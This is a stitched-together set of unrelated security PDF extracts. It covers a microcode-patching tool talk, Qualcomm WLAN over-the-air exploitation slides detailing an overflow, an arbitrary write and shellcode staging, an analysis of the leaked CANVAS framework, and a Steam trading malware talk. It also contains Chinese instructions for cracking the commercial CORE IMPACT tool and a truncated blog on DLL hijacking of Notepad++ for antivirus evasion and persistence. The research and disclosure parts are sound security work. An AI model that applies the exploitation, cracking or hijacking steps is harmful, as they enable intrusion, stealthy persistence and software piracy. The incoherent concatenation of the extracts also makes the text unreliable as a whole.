Service Codes (Wikipedia) - https://en.wikipedia.org/wiki/Vertical_service_code • DC2016 github repo - https://github.com/MasterChenb0x/DC2016 Conclusion
pdf
Micro-Renovator Bringing Processor Firmware up to Code Bio Matt (a.k.a. Syncsrc) ● Recovering EE / CompE ● Builder and user of hardware debug features ● Uses “BIOS” and “UEFI” interchangeably ● Currently responsible for platform security of a cloud ● Religiously updates firmware ● Formerly a product security validation lead at Intel Background Background - Patches for Spectre & Meltdown ● Meltdown ○ PTI (Linux), KVA Shadow (Windows) ● Spectre v1 ○ Lfence (forced serialization) ● Spectre v2 ○ Retpoline (“pollutes” BTB) - An incomplete fix, per Intel ○ IBRS & IBPB (new MSRs to control BTB) ○ Microcode updates are necessary to expose these new MSRs What is Microcode? ● Can be thought of as “Processor Firmware” ○ A Brief History of Microprogramming ● Can be patched to fix bugs & errata ○ However, processors don’t have any non-volatile storage ○ Any applied patches are lost on reset or power-down ● Stored and applied by the BIOS or Operating System ○ Reloaded on every boot, reset, S3 resume, etc... ○ Intel 64 and IA-32 Architectures SDM Volume 3A, section 9.11.6 Obtaining Microcode Patches ● From BIOS Updates ○ MacBook and Surface users are covered ● From Operating System Updates ○ Linux: redistributed by most distros (via microcode_ctl.rpm or intel-microcode.deb) ■ Users can also download microcode.dat directly from Intel ○ Microsoft didn’t start distributing microcode until 2 months after it was released ■ Still only distributing for some processor and Windows versions ● Patches existed, but were impossible to apply to many systems Systems Unable to Patch Spectre ● Still no way to mitigate Spectre v2 on millions of systems ○ Other than buying a new OS (or a new computer) ● Windows PCs that are 3 to 9 years old * ○ Mostly shipped with Windows 7 or 8 pre-installed ○ BIOS updates delayed or unavailable ● 3rd-party microcode update drivers are ineffective * CPUs more than 9 years old are not receiving microcode updates from Intel Systems Unable to Patch Spectre CPU BIOS Updates Windows 7 & 8 Windows 10 8th Gen Available N/A None 7th Gen Available N/A None 6th Gen Available Negligible None 5th Gen Available * 49 Million None 4th Gen Available * 114 Million None 3rd Gen Xeon Only 141 Million None 2nd Gen Xeon Only 149 Million None 1st Gen Xeon Only 216 Million 216 Million Are there any other options? ● When can microcode patches be applied? ○ BIOS - users can’t modify ○ OS - microcode drivers run too late ○ Bootloader - maybe? ● No existing EFI utility to load microcode ○ TianoCore is open source though ○ And already has code that applies microcode updates ○ How hard could it be? Uload.efi ● Built using EDK2 ● Mostly code appropriated from MicrocodeUpdateDxe ○ Made into an EFI shell app ● Loads microcode to all Processors/Threads Inserting Uload into EFI Boot ● POST: Power On Stuff That-happens ● Determine bootloader from NVRAM variables ● Locate boot drive & partition ○ Involves UUIDs somehow ● Run Bootloader (eg: bootx64.efi, shim.efi) ○ Bootloader is just an EFI application, it can be replaced ● Bootloader launches kernel Micro-Renovator ● Script to automatically update EFI boot partition ○ Runs from a Linux Live CD ● Finds EFI partition and bootloader ○ Copies microcode and Uload.efi to the boot partition ○ Installs Shell.efi and sets as the primary boot option ○ On boot, startup script runs Uload prior to the OS bootloader https://github.com/syncsrc/MicroRenovator Limitations ● Breaks Sleep (S3) ○ Hibernation still works ● No secure boot support (yet) ● Occasional inconsistent behavior after booting into Windows ● Microsoft appears to be actively reverting the changes made by earlier versions of MicroRenovator Summary ● Firmware patching is an unsolved problem ○ UEFI should have made things better, but didn’t ● Component vendors needs to focus on enabling patching for end-users ○ Not system builders (they aren’t incentivized) ○ IoT and Mobile spaces have the same issue ● It shouldn’t take bootloader hacks to apply security patches to operating systems that are still under support Questions?
pdf
Exploiting Qualcomm WLAN And Modem Over-The-Air Xiling Gong, Peter Pi Tencent Blade Team About Us Xiling Gong (@GXiling) Senior security researcher at Tencent Blade Team. Focus on Android Security, Qualcomm Firmware Security. Speaker of BlackHat, CanSecWest. Peter Pi(@tencent_blade) Senior security researcher at Tencent Blade Team. Find many vulnerabilities of vendors like Google, Microsoft, Apple, Qualcomm, Adobe and Tesla. The #1 Researcher of Google Android VRP in year 2016. Speaker of BlackHat, CanSecWest, HITB, GSEC and Hitcon. About Tencent Blade Team • Founded by Tencent Security Platform Department in 2017 • Focus on security research in the areas of AIoT, Mobile devices, Cloud virtualization, Blockchain, etc • Report 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon • We talked about how to break Amazon Echo at DEFCON26 • Blog: https://blade.tencent.com Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions Introduction • Broadcom WIFI Chip • 2017, Gal Beniamini • Over The Air: Exploiting Broadcom’s Wi-Fi Stack • 2017, Nitay Artenstein, BlackHat USA 2017 • BROADPWN: REMOTELY COMPROMISING ANDROID AND IOS VIA A BUG IN BROADCOM'S WI-FI CHIPSETS • Marvel WIFI Chip • 2019, Denis Selyanin • Zero Nights 2018 , Researching Marvell Avastar Wi-Fi: from zero knowledge to over- the-air zero-touch RCE • Blog 2019, Remotely compromise devices by using bugs in Marvell Avastar Wi-Fi: from zero knowledge to zero-click RCE • How about Qualcomm WIFI? Qualcomm WLAN (MSM8998) WLAN Firmware Baseband Subsystem Linux Kernel QCACLD2/3 Full MAC Layer Application Android Framework Wifi Demon Modem Firmware Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions MBA and Modem images • Modem Boot Authenticator • mba.mbn • modem.mdt • modem.b00 – modem.b20 • Image format Modem Secure Boot pil_boot • The pil_boot function in Linux Kernel describes the boot flow of modem. • Load mba.mbn, modem.mdt and modem.bxx to physical memory. • Trigger MBA and modem images to be verified and run in Modem Processor. • Linux Kernel can restart Modem Processor at any time, will hit pil_boot each time when restart. pil_boot pil_boot start Load modem.mdt, use the info to setup modem pa region Call pil_mss_mem_setup to register modem pa region to TZ Call pil_msa_mss_reset_mba_load_auth_mdt to load msa.mbn and auth modem.mdt Call pil_assign_mem_to_subsys_and_linux to make Linux Kernel and MBA both can access the pa region Call pil_load_seg to load modem.bxx to the pa region Call pil_msa_mba_auth to auth modem.bxx and start modem Call pil_reclaim_mem to make Linux Kernel can’t access the pa region any more TOCTOU Vulnerability modem.b 05 Linux Kernel MBA modem.b 06 modem.b 07 modem.b 20 Verified Verifying Modify the verified image DDR POC Debug Server Injection Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions Qualcomm WLAN WLAN Firmware Baseband Subsystem Hexagon Linux Kernel QCACLD2/3 Full MAC Layer Application Android Framework Wifi Demon Modem Firmware Qualcomm WLAN Architecture WMI Handler Non-Data Handler Data Handler Physical Layer OTA Packet Offload MAC Layer WLAN Firmware Linux Kernel QCACLD2/3 Full MAC Layer Application Android Framework Wifi Demon Example - Management Beacon Non-Data Handler 80211 Management Beacon WLAN Firmware Linux Kernel QCACLD2/3 Full MAC Layer Wifi Demon Offload Table Parse Discard SSID Management Beacon Forward Firmware • Modem load WLAN Firmware from /vendor/firmware/wlanmdsp.mbn • IDA Disassembler • https://github.com/programa-stic/hexag00n/tree/master/ida • https://github.com/gsmk/hexagon • Qualcomm SDK • https://developer.qualcomm.com/software/hexagon-dsp-sdk/tools • Instruction Reference • https://developer.qualcomm.com/download/hexagon/hexagon-v5x- programmers-reference-manual.pdf?referrer=node/6116 Reverse Engineering – Hint From Qualcomm Import Function WMI Handler drivers/staging/fw-api-fw/wmi_unified.h String Table Reverse Engineering • Targets To Reverse • WMI Handlers • Handle WMI commands from Linux Kernel • Send back WMI indication to Linux Kernel • Offload Handlers • Handle OTA Packets WMI Handler Non-Data Handler Data Handler Offload MAC Layer Physical Layer OTA Packet WMI Handlers drivers/staging/fw-api-fw/wmi_unified.h 0x03001 Offload Handlers Sample Offload Handler OTA Packet Data Pointer = [0x5B | 0x5A | 0x59 | 0x58] Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions The Roadmap Modem WLAN Linux Kernel We are here! Mitigation Table (WLAN & Modem) Mitigation Status Heap ASLR Y Heap Cookie Y Stack Cookie Y W^X Y FRAMELIMIT* Y FRAMEKEY** Y Code & Global Data ASLR N CFI N *FRAMELIMIT Register - If SP < FRAMELIMIT throw exception **FRAMEKEY Register - Return Address XOR FRAMEKEY. A random integer different for every thread The Vulnerability (CVE-2019-10540) Non-Data Handler 80211 PRE-AUTH-Frame OTA WLAN Firmware Offload Table Parse Linux Kernel The Vulnerability (CVE-2019-10540) [GLOBAL] char *GlobalBuffer[10 * 0xB0 + 6]; unsigned int itemCount = 0; for (unsigned int i = 0; i < Length; i += 0x44) { memcpy (GlobalBuffer + 6 + itemCount * 0xB0, OTA_DataPtr + i, 0x44); itemCount++; } * Translated and simplified the code flow Copy items from packet into Global Static Buffer. Max Item Count = 10 Send 11 items -> Overflow! Data & Address of Overflow Item 1 (0xB0 bytes) Head (6 bytes) Item 2 (0xB0 bytes) … Item 9 (0xB0 bytes) Item 10 (0xB0 bytes) Overflow (0x44 bytes) Global Buffer (0xB0 – 0x44 bytes) Overflow (0x44 bytes) (0xB0 – 0x44 bytes) +0xB0 * 10 … Smart Pointer Around Overflow Memory Item 1 (0xB0 bytes) Head (6 bytes) Item 2 (0xB0 bytes) … Item 9 (0xB0 bytes) Item 10 (0xB0 bytes) Overflow (0x44 bytes) (0xB0 – 0x44 bytes) Overflow (0x44 bytes) (0xB0 – 0x44 bytes) … 0x00000000 +0 0x00000000 +4 0x00000000 +8 SmartPointer +C Global Buffer +0xB0 * 10 Usage Of Smart Pointer Char **AddressOfSmartPointer = GlobalBuffer + 6 + 0xB0 * 11 + 0xC; char *SmartPointer = *AddressOfSmartPointer; char *MacAddress = OTA_DataPtr + 0x10; char *BYTE_C = OTA_ DataPtr + 0x10 + 0x20; char *BYTE_D = OTA_ DataPtr + 0x10 + 0x21; char *BYTE_14 = OTA_ DataPtr + 0x10 + 0x22; if (TestBit(SmartPointer, 0) == 1) { if (memcmp(SmartPointer + 6, MacAddress, 6) == 0) { *(SmartPointer + 0xC) = *BYTE_C; *(SmartPointer + 0xD) = *BYTE_D; *(SmartPointer + 0x14) = *BYTE_14; } } * Translated and simplified the code flow Usage Of Smart Pointer Char **AddressOfSmartPointer = GlobalBuffer + 6 + 0xB0 * 11 + 0xC; char *SmartPointer = *AddressOfSmartPointer; // Overwrite with vulnerability char *MacAddress = OTA_DataPtr + 0x10; char *BYTE_C = OTA_ DataPtr + 0x10 + 0x20; char *BYTE_D = OTA_ DataPtr + 0x10 + 0x21; char *BYTE_14 = OTA_ DataPtr + 0x10 + 0x22; if (TestBit(SmartPointer, 0) == 1) { // The only constraint, Bit0 == 1 if (memcmp(SmartPointer + 6, MacAddress, 6) == 0) { // From OTA Data, could be bypass *(SmartPointer + 0xC) = *BYTE_C; // Overwrite 0xC *(SmartPointer + 0xD) = *BYTE_D; // Overwrite 0xD *(SmartPointer + 0x14) = *BYTE_14; } } * Translated and simplified the code flow Global Write With Constraint 0xXXXXXXXX SmartPointer 00 00 00 01 00 00 00 00 00 00 00 00 12 34 56 78 0xXXXXXXXX +4 +8 +C 00 00 00 01 MA CA 00 00 AD DR ES SS 12 34 ?? ?? +4 +8 +C +0 Bit 0 Write MAC Step 1 Overwrite SmartPointer Step 2 Global Write (Using SmartPointer) Global Write With Constraint How to write 4 bytes? MACA 00 00 AD DR ES SS 12 34 ?? ?? +4 +8 +C +0 Bit 0 MAC 0xXXXXXXXX SmartPointer Step 1 Overwrite SmartPointer Write Low 2 Bytes 00 01 00 01 00 00 00 00 MA CA DD RE ?? ?? SS SS +4 +8 +C +0 Bit 16 MAC Write High 2 Bytes 00 01 00 01 Step 4 Global Write (Using SmartPointer) 0xXXXXXXXX+2 SmartPointer Step 3 Overflow SmartPointer Step 2 Global Write (Using SmartPointer) Global Write With Constraint The Bit0 != 1? MACA 00 00 AD DR ES SS 12 34 ?? ?? Bit0 != 1 MAC 00 00 00 00 Target 00 00 00 00 00 00 00 01 Bit0 == 1? MAC 00 00 00 01 +4 +8 +C +0 -8 -4 -C Control PC & R0 Address Value 00 0x00010000 +04 0x00010001 +08 0x00000000 +0C 0x00000001 +10 0x00000000 +14 0x00000000 +18 0x00000000 +1C 0x00000000 +20 0x00000000 +24 0x12345678(PC) +28 0x87654321(R0) Address Value +00 0x00010000 +04 0x00010001 +08 0x00000000 +0C 0x00010001 +10 0x00010001 +14 0x00000000 +18 0x00010001 +1C 0x00010001 +20 0x00000000 +24 TARGET PC +28 TARGET R0 SmartPointer Transform To Arbitrary Write TARGET PC TARGET R0 Item1 Payload1 Item2 Payload2 … FOP Gadget Run Useful FOP Gadget Function Pointer(PC) Data Pointer (R0) Step 1 Arbitrary Write Overwrite function pointer Step 2 Arbitrary Write Overwrite data pointer Item1 Payload1 Item2 Payload2 … Step 3 Send payload packet and trigger the PC Virtual Address Memory Mapping RWX CreateMapping(args, …) R0 = 0x42420000 Virtual Address R1 = 0x936a0000 Physical Address R2 = 0x1000 Size R3 = 4 Unknown R4 = 7 Permission RWX Physical DRAM 936a0000 42420000 b0000000 RWX R-X Memory Mapping RWX TARGET PC TARGET R0 CreateMapping(args, …) R0 = 0x42420000 Virtual Address R1 = 0x936a0000 Physical Address R2 = 0x1000 Size R3 = 4 Unknown R4 = 7 Permission RWX FOP Gadget Item1 Payload1 Item2 Payload2 … Copy Shellcode to 0x42420000 memcpy(PC) 0x42420000(R0) 0x42420000 Shellcode … Step 1 Arbitrary Write Overwrite function pointer Step 2 Arbitrary Write Overwrite data pointer Step 3 Trigger OTA Packet(R1) Packet Len(R2) Trigger Shellcode 0xB0000020(PC) Any Value(R0) 0xB0000020 Shellcode … Step 1 Arbitrary Write Overwrite function pointer Step 2 Trigger Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions The Roadmap Modem WLAN Linux Kernel From WLAN to Modem WLAN Kernel Modem * TLB is a Hexagon Instruction to modify the Memory Page Attribute ** Complex Function uses the resource of Modem, or calls System Call *** Simple Code Snippet mean code has only register operation QURT OS Actions From WLAN Eligible? TLB Set* N Write Modem Data N Call Modem Complex Function** N Call Modem Simple Code Snippet*** Y Map Modem Memory Y Userspace Map Modem Memory into WLAN Modem WLAN Modem RWX R-X WLAN Virtual Address Physical Address Modem WLAN Process Virtual Address Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions The Roadmap Modem WLAN Linux Kernel The Attack Surfaces Linux Kernel Modem Userspace APP TrustZone AT Command Glink DIAG QMI WMI APR Share Memory • We’ve found An arbitrary memory read/write vulnerability Could bypass all the mitigations of Linux Kernel From Modem into Linux Kernel • In these attack surfaces • But we are unable to disclose the detail now Agenda • Introduction and Related Work • The Debugger • Reverse Engineering and Attack Surface • Vulnerability and Exploitation • Escaping into Modem • Escaping into Kernel • Stability of Exploitation • Conclusions Deliver the Payload Over-The-Air Pixel 2XL Packet Losing Rate 90%+! Deliver the Payloads Using Pixel2 Pixel 2 Pixel 2XL The Roadmap Modem WLAN Linux Kernel Pixel 2XL Pixel 2 Demo Future Works • There are still lots of mystery in the WLAN. • We were only reversed a small part of the code • Lots of functions are unknown • How to fuzz the WLAN Firmware? • Reverse engineering is quite… • How to fuzz closed source target and Hexagon architecture effectively? • Translate Hexagon Instruction to C? • IDA/Ghidra F5 plugin? Timeline • 2019-2-14 Find the Modem debug vulnerability on MSM8998 • 2019-3-24 Find the WLAN issue and report to Google • 2019-3-28 Google forwards the issue to Qualcomm • 2019-4-24 Google confirms the WLAN issue as Critical • 2019-5-08 Report the WLAN into Linux Kernel issue to Google • 2019-5-24 Google confirms the WLAN into Linux Kernel issue • 2019-5-28 Submit the full exploit chain to Google • 2019-6-04 Google reply unable to reproduce the full exploit chain • 2019-6-17 Improve the stability and submit to Google • 2019-7-19 CVE Assigned by Google • 2019-7-20 Qualcomm confirms issues will be fixed before October • 2019-8-0? Google release the fix for Google Pixel2/Pixel3 THANK YOU https://blade.tencent.com
pdf
以蓝军视⻆跟踪和分析CANVAS攻击框架泄露事件 全⽂共2605字,阅读⼤约需要5分钟。 3⽉3⽇,绿盟科技研究团队在对⽹络安全事件舆情监控中发现著名的商业渗透框架CANVAS系统源代码发⽣泄露, 绿盟科技M01N蓝军研究团队第⼀时间对该事件进⾏了跟踪,快速分析了CANVAS的攻击框架、所涉及的漏洞和技 术细节。 Immunity CANVAS是⼀套受信任的商业安全评估攻击框架,每⽉都会发布稳定版本,它允许专业⼈员进⾏渗透测 试和对⼿模拟攻击。此次CANVAS的泄露版本为7.26,⽇期为2020年9⽉,包含1000+个漏洞利⽤代码。使⽤ CANVAS成功攻陷系统后,攻击者可以抓取屏幕截图,转储密码凭据,操纵⽬标⽂件系统并提升特权,并且可以在 ⽬标系统和⽬标整个⽹络区域之间隐蔽连接。另外值得注意的是,其中包含Spectre CPU漏洞的可⽤EXP漏洞利⽤ 模块。 CANVAS由Immunity开发,该公司由前NSA⿊客Dave Aitel创⽴,然后于2019年出售给CyxteraTechnologies。 1 CANVAS的框架及主体功能 CANVAS框架主体及模块均使⽤python开发,⽀持跨平台安装使⽤,包括Windows, Linux和MacOSX等, 提供了 GUI和命令⾏来进⾏操作使⽤。框架所有功能模块如下: 绿盟君 绿盟科技 昨天 CANVAS主要以漏洞利⽤为主,其功能完整⽀持攻击链⽣命周期,包括C&C、权限提升、权限维持、凭证获取、横 向移动、防御规避、信息收集、隐蔽隧道及部分域林攻击功能。框架设计以资产节点⽅式进⾏攻击过程控制和记 录,各节点的远程及本地攻击操作具备完善的攻击⽇志记录。 远程漏洞利⽤、横向移动及C&C功能复现: 成功执⾏DCSync在测试环境获取AD靶机⽤户的密码Hash: 同时CANVAS作为⼀款成熟的商业安全评估攻击框架,具有⾃动化⽣成安全评估报告的功能,并且报告拥有良好的 可阅读性。 2 漏洞利⽤模块 1 漏洞利⽤模块分析 本次泄漏的CANVAS框架源码,除⾃带漏洞利⽤模块外还包含两⼤第三⽅漏洞利⽤模块。经统计,含有CVE编号的 漏洞共计929个,框架⾃带漏洞利⽤库中包括617个漏洞,第三⽅漏洞利⽤库包含333个漏洞,官⽹上针对⼯控设备 的漏洞利⽤包Gleg在本次泄漏中未涉及。 这些漏洞模块在CANVAS中根据利⽤⽬的⼤致分为四类,分别针对不同的攻击场景与⽬标。 2 第⼀个针对Spectre CPU漏洞的可利⽤EXP ⾸先我们回顾⼀下CVE-2017-5715 Spectre CPU漏洞,该漏洞是Intel、AMD和ARM处理器体系结构中的硬件设计 缺陷,它允许运⾏在同⼀系统上的不良应⽤程序中的代码破坏不同应⽤程序的CPU级别之间的隔离,然后从其他应 ⽤程序中窃取敏感数据。它和Meltdown漏洞的发现,被认为是现代CPU演进和历史上的⾥程碑,有效地迫使了 CPU供应商重新考虑他们设计处理器的⽅法,从⽽明确表明他们不能只专注于性能,⽽损害了数据安全性。 Spectre漏洞从2017年被公开开始,研究⼈员对外公开的均为⽆害的POC代码,也⼀直没有发现有被在野攻击利⽤ 的证据。 2021年2⽉,国外安全研究员Voisin发现VirusTotal上的⼀份Linux Spectre漏洞EXP代码,可以转储/etc/shadow的 内容,⽽近⽇在Dave Aitel的⼀条推⽂中,前Immunity⾸席执⾏官似乎证实了Voisin的发现确实是他的前公司在 2018年2⽉⼤⼒宣传的CANVAS Spectre模块。 当然我们也确认了本次泄露的CANVAS版本确实含有Spectre漏洞EXP插件及代码,代码备注该EXP代码实现在 2018年3⽉完成。 3 其他重要功能模块 1 MOSDEF后⻔⽊⻢ MOSDEF后⻔⽊⻢是CANVAS在命令控制环节的主要模块,其⽀持主流操作系统,对于⼀些较冷⻔的处理器架构亦 有较完善的⽀持。 以防御规避技术研究与攻击检测的视⻆来看,MOSDEF具有基本的杀软规避功能,⽀持采⽤DNS等⽐较隐蔽的通信 ⽅式,具有⼀定防御规避的能⼒。其采⽤的持久化技术等较为常⻅,所⽣成的payload类型并不多,但其⽣成的⼀ 些载荷⽂件在VirusTotal等平台仍具有较好的免杀效果。 根据VirusTotal检测结果,默认⽣成的Windows x86 版本MOSDEF可执⾏⽂件载荷的检出率相对可观。 Powershell版MOSDEF⽊⻢具有命令执⾏、⽂件上传、执⾏shellocode等攻击功能,在VisualTotal中具有较低的检 出率。 2 RootKit模块 CANVAS⾃带windows与linux系统的rootkit模块,其中windows系统仅有物理内存dump的功能,⽽linux系统中的 rootkit功能要丰富的多。linux平台的rootkit模块以源码的形式分发,每次使⽤需要针对⽬标的内核版本进⾏重新编 译内核模块,⽀持以下功能: 1. 指定名称的⽂件隐藏 2. 后⻔进程及⼦进程PID隐藏 3. TCP通讯隐藏 4. MOSDEF连接后⻔ 利⽤CANVAS⾃带的rootkit模块,攻击者可以实现持久化与攻击⾏为隐藏,增加防守与溯源难度。 3 VisualSploit可视化代码⽣成⼯具 泄漏CANVAS包含名为VisualSploit的可视化编程⼯具,该⼯具可以进⾏图形化的exploit开发,设计程序执⾏流 程,操作payload内存布局,最终⼀键⽣成可执⾏python脚本⽂件。 4 协同攻击功能 CANVAS Strategic允许在CANVAS的多个实例之间进⾏实时通信,并与中央实例共享信息(⽬标信息,攻击操 作,获得的权限),该中央指挥实例是从Canvas运⾏Commander模块的机器。当多⼈作战时,需要对进度和成果 进⾏协协作时,此功能特别有⽤。此外,它还可以⽤作多个实例的中央活动监视和⽇志记录,也包含⼀个简单聊天 服务器。 4 警惕CANVAS被暴露及滥⽤带来的⻛险 本次CANVAS框架源码泄露事件是继NSA泄露DanderSpritz框架后的⼜⼀个完整⽹络攻击框架泄露事件,其中所涉 及的TTPs技术已被⾼度武器化。截⽌本⽂公开时我们还暂未实现对CANVAS中的漏洞EXP、持久化技术、隧道技术 等技术的全⾯深⼊的分析。 同 时 可 以 看 到 , 本 次 泄 露 的 漏 洞EXP包 含 全 ⽹ 第 ⼀ 个 被 公 开 的 针 对Spectre CPU漏 洞 的 可 利 ⽤EXP, 另 外 Powershell版MOSDEF⽊⻢在VisualTotal中也同样具有较低的检出率,这些⼯具都可以直接被恶意攻击者滥⽤,从 ⽽导致严重的安全事故,建议各安全⼚商协助企业客户积极防御,防患于未然。 绿盟科技M01N蓝军研究团队将继续跟踪深⼊分析该框架的内容。     ·    参考链接    ·     [1]https://www.immunityinc.com/products/canvas/index.html https://spectreattack.com/ 绿盟科技M01N安全研究团队专注于Red Team、APT等⾼级攻击技术、战术及威胁研究,涉及Web安全、终端安全、 AD安全、云安全等相关领域。通过研判现⽹攻击技术发展⽅向,以攻促防,为⻛险识别及威胁对抗提供决策⽀撑,全⾯ 提升安全防护能⼒。 战队⾃2019年成⽴以来,荣获2020年第三届⻋联⽹信息安全技能⼤赛⼀等奖、2020数字中国创新⼤赛⻁符⽹络安全赛 道⼀等奖、2020年第三届“强⽹”拟态防御国际精英挑战赛⼀等奖、2020WIDC世界智能驾驶挑战赛-信息安全挑战赛优 胜奖、2020年⼯业信息安全技能⼤赛⼆等奖、“第五空间”智能安全⼤赛⼆等奖、2020“巅峰极客”⽹络安全技能挑战赛 ⼆等奖、2019“湖湘杯”⽹络安全技能⼤赛⼀等奖、2019中国国际数字经济博览会数字经济云安全共测⼤赛⼀等奖、 2019年⼯业信息安全技能⼤赛⼀等奖。 喜欢此内容的⼈还喜欢 这款⽹络排查⼯具,堪称神器! ⽹络⺠⼯ MSF配合Ngrock穿透内⽹ LemonSec 内⽹渗透|Chisel内⽹穿透⼯具 天億⽹络安全 这款⽹络排查⼯具,堪称神器! MSF配合Ngrock穿透内⽹ 内⽹渗透|Chisel内⽹穿透⼯具
pdf
Malware in the Gaming Micro-economy Zack Allen Rusty Bower Zack & Rusty Background for non-gamers ● Non-functional cosmetic items introduced in 2009 ● In 2010, an update was released that allowed players to trade hats and weapons with each other ● This has since been expanded to other games ○ CS:GO, DOTA, League of Legends Background for non-gamers Background for non-gamers History of Scams History of Scams History of Scams History of Scams How this all started.. Steam User Stats Steampunks - Chasing the Criminals Steampunks - PokeStealer - Attacker runs Auto- Accept Bot - Distributes Stub.exe to victims - With a method of their choosing Steampunks - cursevoice.exe - Installs Curse Voice - Also installs a RAT, giving the attack persistent access to the victim’s computer Steampunks - mumble - Dropped JavaScript - Anti-analysis protections - Steals private information from browsers - WScript.exe - Installs into Startup Steampunks - raidcall - Dropped JavaScript - “QEQWASDFASDF.PNG.EXE tried to sleep 1566864 seconds” - Approximately 62 days - Steals private information from browsers - WScript.exe - Installs into Startup Steampunks - YourSpeaks - Unhooks multiple Windows functions - Steals private information from browsers - Installs into autorun - Process Injection - Performs HTTP requests Steampunk - Web “TTPs” ● Attack websites ○ Phishing ○ Malware droppers ○ Both ● Domain names split into two categories ○ “Brand” abuse ○ Image website linking to .scr/.jpg/.png but file header is executable Brands ● Betting/trades ○ csgolounge ○ dota2lounge ○ backpack.tf ● Games ○ steamcommunity ○ dota2 ○ csgo ● VOIP ○ mumble ○ raidcall ○ ventrilo Valve Responses/Fixes Valve Responses/Fixes Valve Responses/Fixes Valve Responses/Fixes Forecast ● Image site homographs/phishing will be weapon of choice ○ Harder to detect, not clearly abusing a brand ○ Screenshots will be used consistently by traders/buyers ● Malware will be more than just a stealer ○ Keyloggers, RATs, ○ More to this market than just virtual items Recommendations ● Valve ○ Already have an anticheat system steam (VAC) ○ Platform security team for Steam ■ Text analytics ■ URL Scanning ● Safebrowsing ● Phishtank ○ Allow for platform plugins ■ Let the community dev for you ■ Police marketplace for apps Recommendations ● Us, the gamers ○ Same URL scanning capabilities, but in browser ○ Plugin for Chrome/Firefox ● Anti-phishing groups ○ #steamsheriffs on freenode ○ fortress of gamers http://f-o-g.eu ○ http://steamrep.com/ Questions Zack Allen - @teachemtechy Rusty Bower - @rustybower Shoutouts: /r/dota2, /r/steam, /r/globaloffensive, /r/tf2, /r/globaloffensivetrade, advicebanana
pdf
1.准备操作系统windows2012 r2 x64(8G RAM,500G HDD) 2.对系统进行全局代理翻墙(系统需要安装.net framwork 3.5 sp1以及microsoft visual c++ version 2019-2015) 3.点击CORE IMPACT19.1 4.结束CORE IMPACT的相关进程或者服务 5.将破解包中的program files 和programData目录所有文件复制到系统C盘下 6.将破解包中的三个序列号文件复制到C:\Program Files (x86)\Core Security\Impact\bin\5372-8801-2329-7643-5724 目录下 7.重启电脑并打开Impact即可
pdf
Blog 利用dll劫持实现免杀与维权 2021-06-29 · 红蓝对抗 根据软件工程高内聚低耦合的思想,把程序要重复使用的代码封装成函数/类方法,将软件要重复使用的程序 封装成链接库。库分为静态链接库和动态链接库,静态链接库顾名思义就是在程序链接阶段打包进文件中, 而动态链接库则是在程序运行时再导入调用。动态链接库有着加载时复用节省内存、补丁更新时可符合开闭 原则等优点,也有容易发生版本冲突、容易被劫持等缺点。Windows平台下的动态链接库常为dll文件,linux 则常为so文件。 dll劫持概念与类型 dll劫持就是要想方设法地调用到恶意dll。为了便于理解,需要了解一下目前Windows默认的dll调用顺序: Known DLL 特指 定义在 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 中且只能 在System目录中加载的dll们 由此可以引出几种dll劫持的形式: 1. 直接将恶意dll暴力替换掉正常dll,软件正常功能会受影响 2. 将恶意dll作为中间人,转发调用正常dll的导出函数,同时加入额外的恶意操作 3. 利用加载顺序的机制,让恶意dll先于正常dll加载 4. 利用软件本身缺失的dll加载恶意dll 5. 更改环境变量或是.exe.manifest/.exe.local文件实现dll重定向 如果利用低权限劫持的dll文件,会被高权限程序加载运行,就是一个权限提升漏洞 找dll劫持的一种方法 通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式,在filter中添加 Path ends with .dll 和 Result is NAME NOT FOUND 规则,并且可以加上 Process Name contains xxx 来针对性的找xxx的dll劫持。 首页 标签 分类 关于  编写一个加载dll的demo,让它加载一个不存在的dll,可以监控到加载的路径顺序(请无视中文路径乱码 Orz)。如果这是一个真实的常用软件,则可以用来实现上文中的第4种劫持。 劫持notepad++的dll 下面以notepad++为例,实现上文中的第2种劫持,这类dll转发利用 #pragma comment(linker, "/EXPORT:xxx,@y) 可以很方便地实现。 出于免杀上线以及权限维持的考虑,我们物色一下尽量符合这些特点的dll: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> #include <Windows.h> int main(int argc, char *argv[]) { HMODULE hModule = LoadLibrary(argv[1]); if (hModule) { wprintf(L"Load Success\n"); FreeLibrary(hModule); } else { wprintf(L"Load Error: %d\n", GetLastError()); } } C  1. 后台进程稳定不挂,避免主进程退出导致dll一起挂了 2. 容易触发上线,行为隐蔽不易被杀软和人工发现 然后我看到了会被 updater/GUP.exe 拉起的 libcurl.dll ,以及安装版中存在且可方便地附加到绿色版中 的 NppShell_06.dll 。前者是一个软件更新组件,后者是Windows右键中 Edit with Notepad++ 的组件,会 随explorer.exe加载且不会重复执行,只要在文件上按右键就会触发(并不需要点击它,看到时就已经加载了 dll): 由于 GUP.exe 容易退出,需要让它加到常驻服务里去,我们优先看看 NppShell_06.dll 。这是一个会随安 装包的 Context Menu Enty 选项一起安装到软件目录的dll,通过 Process Monitor 监控并筛选注册表,发现有 如下变动: 也就是说只需要将安装文件中的 NppShell_06.dll 拷贝到绿色版文件中,并将上述变动导入注册表就可以手 动实现添加右键打开的功能,不过该操作需要管理员权限。 regedit /s nppi.reg 构造了还不错的触发条件后,接下来将原dll更名为 NppShell_05.dll 